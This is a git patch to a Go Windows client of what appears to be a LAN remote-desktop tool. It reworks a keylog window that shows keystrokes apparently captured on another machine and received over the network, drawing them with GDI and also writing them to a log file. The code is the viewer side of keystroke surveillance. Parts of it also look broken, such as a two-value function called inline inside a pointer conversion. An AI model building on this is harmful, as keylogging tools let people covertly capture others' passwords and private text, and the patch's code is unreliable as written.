From fea74369ab943e8fa6f8537a54c10bd53e455c86 Mon Sep 17 00:00:00 2001 From: creinky Date: Mon, 23 Nov 2026 17:21:27 -0700 Subject: [PATCH] Fix keylog window display: draw text in client area using GDI instead of SetWindowText --- cmd/client/keylog_window_windows.go | 98 +++++++++++++++++++++++------ cmd/client/window_windows.go | 7 +++ 2 files changed, 85 insertions(+), 20 deletions(-) diff --git a/cmd/client/keylog_window_windows.go b/cmd/client/keylog_window_windows.go index 81f71d7..9014b7c 100644 --- a/cmd/client/keylog_window_windows.go +++ b/cmd/client/keylog_window_windows.go @@ -19,7 +19,12 @@ import ( "lanrdp/internal/protocol" ) -var keylogWindowHwnd uintptr +// Keylog display state shared between event consumer and window paint handler. +var ( + keylogMu sync.Mutex + keylogLines []string + keylogHwnd uintptr +) // runKeylogDisplay starts the keylogger output subsystem: a log file and an // optional popup window. It consumes events from the channel until closed. @@ -43,10 +48,7 @@ func runKeylogDisplay(events <-chan protocol.KeyLogEvent, done chan struct{}) { } } - // Single consumer goroutine that fans out to both file and window - var mu sync.Mutex - var lines []string - + // Single consumer goroutine that fans out to both file and window. go func() { for event := range events { line := keylog.FormatEvent(keylog.KeyEvent{ @@ -62,21 +64,18 @@ func runKeylogDisplay(events <-chan protocol.KeyLogEvent, done chan struct{}) { logFile.WriteString(line + "\n") } - // Update window display (keep last 100 lines) - mu.Lock() - lines = append(lines, line) - if len(lines) > 100 { - lines = lines[1:] + // Update display buffer (keep last 100 lines) + keylogMu.Lock() + keylogLines = append(keylogLines, line) + if len(keylogLines) > 100 { + keylogLines = keylogLines[1:] } - var sb strings.Builder - for _, l := range lines { - sb.WriteString(l + "\n") + keylogMu.Unlock() + + // Trigger repaint of the window + if keylogHwnd != 0 { + procInvalidateRect.Call(keylogHwnd, 0, 1) } - text, _ := windows.UTF16PtrFromString(sb.String()) - if keylogWindowHwnd != 0 { - procSetWindowTextW.Call(keylogWindowHwnd, uintptr(unsafe.Pointer(text))) - } - mu.Unlock() } }() @@ -120,7 +119,7 @@ func createKeylogWindow() { fmt.Printf("keylog window creation failed\n") return } - keylogWindowHwnd = hwnd + keylogHwnd = hwnd // Run message loop for this window on its own goroutine go func() { @@ -134,7 +133,7 @@ func createKeylogWindow() { procDispatchMessageW.Call(uintptr(unsafe.Pointer(&m))) } procDestroyWindow.Call(hwnd) - keylogWindowHwnd = 0 + keylogHwnd = 0 }() } @@ -157,6 +156,65 @@ func keylogWndProc(hwnd, msg, wparam, lparam uintptr) uintptr { procFillRect.Call(hdc, uintptr(unsafe.Pointer(&r)), brush) procDeleteObject.Call(brush) } + + // Draw keylog lines in white text + keylogMu.Lock() + lines := make([]string, len(keylogLines)) + copy(lines, keylogLines) + keylogMu.Unlock() + + if len(lines) > 0 { + // Select a monospace font for readability + font, _, _ := procCreateFontW.Call( + 14, 0, 0, 0, 0, 0, 0, 0, + windows.DEFAULT_CHARSET, windows.OUT_DEFAULT_PRECIS, + windows.CLIP_DEFAULT_PRECIS, windows.DEFAULT_QUALITY, + windows.FIXED_PITCH|windows.DEFAULT_PITCH, uintptr(unsafe.Pointer(windows.UTF16PtrFromString("Consolas")))) + if font != 0 { + oldFont, _, _ := procSelectObject.Call(hdc, font) + defer procSelectObject.Call(hdc, oldFont) + + // Set text color to white + procSetTextColor.Call(hdc, 0xFFFFFF) // RGB(255,255,255) + procSetBkMode.Call(hdc, windows.TRANSPARENT) + + y := uintptr(5) + for _, line := range lines { + textPtr, _ := windows.UTF16PtrFromString(line) + var rect struct { + Left, Top, Right, Bottom int32 + } + rect.Left = 5 + rect.Top = int32(y) + rect.Right = r.Right - 5 + rect.Bottom = int32(y) + 16 + procDrawTextW.Call( + hdc, + uintptr(unsafe.Pointer(textPtr)), + -1, + uintptr(unsafe.Pointer(&rect)), + windows.DT_LEFT|windows.DT_SINGLELINE) + y += 16 + } + } + } else { + // Show placeholder text if no events yet + textPtr, _ := windows.UTF16PtrFromString("Waiting for keystrokes...") + var rect struct { + Left, Top, Right, Bottom int32 + } + rect.Left = 5 + rect.Top = 5 + rect.Right = r.Right - 5 + rect.Bottom = 20 + procDrawTextW.Call( + hdc, + uintptr(unsafe.Pointer(textPtr)), + -1, + uintptr(unsafe.Pointer(&rect)), + windows.DT_LEFT|windows.DT_SINGLELINE) + } + return 0 case wmEraseBkgnd: return 1 // We handle background in WM_PAINT diff --git a/cmd/client/window_windows.go b/cmd/client/window_windows.go index 7bf6e0e..215424f 100755 --- a/cmd/client/window_windows.go +++ b/cmd/client/window_windows.go @@ -49,6 +49,13 @@ var ( procDeleteObject = gdi32.NewProc("DeleteObject") procFillRect = user32.NewProc("FillRect") + // GDI text rendering for keylog window + procCreateFontW = gdi32.NewProc("CreateFontW") + procSelectObject = gdi32.NewProc("SelectObject") + procSetTextColor = gdi32.NewProc("SetTextColor") + procSetBkMode = gdi32.NewProc("SetBkMode") + procDrawTextW = user32.NewProc("DrawTextW") + procDragAcceptFiles = shell32.NewProc("DragAcceptFiles") procDragQueryFileW = shell32.NewProc("DragQueryFileW") procDragFinish = shell32.NewProc("DragFinish")